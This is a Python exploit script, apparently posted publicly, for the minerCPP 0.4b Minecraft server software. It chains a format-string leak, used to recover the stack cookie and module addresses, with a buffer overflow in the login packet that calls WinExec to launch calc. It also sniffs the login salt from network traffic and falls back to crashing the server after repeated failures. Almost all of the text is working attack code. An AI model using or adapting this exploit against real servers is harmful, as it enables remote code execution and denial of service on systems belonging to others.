#!/usr/bin/env python
#minerCPP 0.4b Remote BOF+Format String Attack Exploit
#Software Link: http://sourceforge.net/projects/minercpp/
#Author: l3D
#Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com
#Tested on Windows 7

#In order to make this exploit work you should sniff the salt first.
#It's sent by the software to www.minecraft.net
#You can find it in the POST data (salt=12345 for instance).
#I added a part that sniffs it automatically using pcapy.
#Furthermore, in a real attack it can be simply brute
#forced (it's only rand()). I didn't add this part in
#order to prevent abusing.

#The EAX can be influenced and the stack too.
#However, there is a stack cookie that
#prevents us to jump into our overwritten RET.
#There are no SEH nor vtable overwritings.

#So what can we do?...
#I found a format string attack vulnerability
#which lets us calculate the master cookie
#and get the ESP of the current thread.
#Unfortunately, the BOF is in another
#thread, so the ESP we've got may not match
#the ESP we need, what makes this exploit unstable.

#Code execution worked to me 10 out of 50 times.

from socket import *
from time import sleep
import pcapy, hashlib, re, struct, os, sys

print 'minerCPP 0.4b Remote BOF+Format String Attack by l3D (pupipup33@gmail.com)\n'

if len(sys.argv) < 3:
 print 'Usage: python %s <host> <port> [salt]' % sys.argv[0]
 print 'If salt is not specified, the exploit sniffs it automatically.'

if len(sys.argv) > 3:
 salt=sys.argv[3]
else:
 dev=pcapy.lookupdev()
 cap=pcapy.open_live(dev, 1024, False, 0)
 cap.setfilter("dst 69.175.14.242 and dst port 80")
 data=cap.next()[1]
 while 1:
  salt=re.findall(r'salt=(\d+)', data)
  if salt:
   salt=salt[0]
   break
  data=cap.next()[1]

host=sys.argv[1]
port=int(sys.argv[2])

exp=re.compile(r'0X([0-9A-F]+)')

def md5_calc(input):
 o=hashlib.md5(input)
 output=o.hexdigest()
 del o
 return output

def pack_login(nick, x):
 login='\x00\x07'
 if x:
  nick_hash=md5_calc(salt+nick)
  nick=nick.ljust(64)
  return login+nick+nick_hash
 else:
  return login+nick+'\x20'

def pack_msg(nick, x):
 msg='\x0d\x7e'
 if x:
  content='/pinfo %s ' % nick
  content=content.ljust(64, 'A')
 else:
  content='/pinfo '+nick
  content=content.ljust(64)
 return msg+content

def send_and_run(packet):
 sock=socket(AF_INET, SOCK_STREAM)
 sock.connect((host, port))
 sock.send(packet)
 sleep(1)
 sock.close()
 del sock

sleep(2)

##############################################################################################

print '[1] Stage 1: Cookie and KERNELBASE.dll ImageBase Getting'
nick='%s.%#X.%#X'
trys=0
packet=pack_msg(nick, True)

try:
 sock=socket(AF_INET, SOCK_STREAM)
 sock.connect((host, port))
 sock.send(pack_login(nick, True))
except:
 exit('[-] ERROR: Sockets error.')

data=sock.recv(2048)
while data:
 if data[0]=='\x00':
  print '[+] Logged in successfuly!'
  sock.send(packet)
 if data[0]=='\x0e':
  sock.close()
  exit('[-] ERROR: Wrong salt.')
 if data.startswith('\x0d\x00&e') and ' is a &7' in data:
  print '[+] Data has been recieved!'
  nums=[int(i, 16) for i in exp.findall(data[4:])]
  if nums:
   data=data[4:data.find('.0X')]
   if len(data)<8:
    if trys < 20:
     print '[!] Data is too short, trying again...'
     trys+=1
     sleep(1)
     sock.send(packet)
    else:
     print '[-] ERROR: Too much trys. DoSing...'
     sock.close()
     sleep(1)
     send_and_run(pack_login('A'*128, False))
     exit()
   else:
    esp=nums[1]-0xf0
    kernelbase, xored_esp=struct.unpack('2L', data)
    cookie=xored_esp^esp
    kernelbase-=0x1671
    print '[+] Stage 1 completed.'
    break
  else:
   sock.close()
   exit('[-] ERROR: addresses couldn\'t be found.')
 data=sock.recv(2048)

sock.close()
del sock
print
sleep(2)

##############################################################################################

print '[2] Stage 2: minerCPP.exe and kernel32.dll ImageBases Getting'
nick='%#X.%#X.%s'
packet=pack_msg(nick, False)

try:
 sock=socket(AF_INET, SOCK_STREAM)
 sock.connect((host, port))
 sock.send(pack_login(nick, True))
except:
 exit('[-] ERROR: Sockets error.')

data=sock.recv(2048)
while data:
 if data[0]=='\x00':
  print '[+] Logged in successfuly!'
  sock.send(packet)
 if data.startswith('\x0d\x00&e') and ' is a &7' in data:
  print '[+] Data has been recieved!'
  data=data[4:data.find(' is a &7')]
  data=exp.sub('', data, 2)[2:10]
  if len(data)==7:
   data+='\0'
  if len(data) < 8:
   sock.close()
   exit('[-] Data is too short, it can be because one of the adresses contains nullbyte...')
  else:
   kernel32, minerCPP=struct.unpack('2L', data)
   kernel32-=0x4ef88
   minerCPP-=0x5621
   print '[+] Stage 2 completed.'
   break
 data=sock.recv(2048)

sock.close()
del sock
print

##############################################################################################

print '[~] Analyzed data:'
print '[+] ESP: 0x%08x' % esp
print '[+] Cookie: 0x%08x' % cookie
print '[+] KERNELBASE.dll: 0x%08x' % kernelbase
print '[+] kernel32.dll: 0x%08x' % kernel32
print '[+] minerCPP.exe: 0x%08x' % minerCPP
print
sleep(2)

##############################################################################################

print '[3] Stage 3: Buffer Overflow'

esp+=0x50
winexec=struct.pack('L', kernel32+0x8e76d)
exitprocess=struct.pack('L', kernel32+0x52aef)
calc=struct.pack('L', esp+0x98)

junk='A'*(64-len(salt))
xored_esp=struct.pack('L', esp^cookie)
ret=winexec #jump to WinExec @ kernel32.dll
ret+='JUNK'
ret+='\x10\x01\x01\x10' #readable address @ zlib1.dll
ret+=exitprocess #jump to ExitProcess @ kernel32.dll
ret+=calc #the place of the string in the stack
ret+='\x01\xFF\xFF\xFF'
ret+='JUNK'
ret+='\xFF\xFF\xFF\xFF' #exit code -1
ret+='calc' #a program to execute

packet=pack_login(junk+xored_esp+ret, False)

send_and_run(packet)
print '[+] Packet has been sent. The server should be DoSed or a code should be executed.'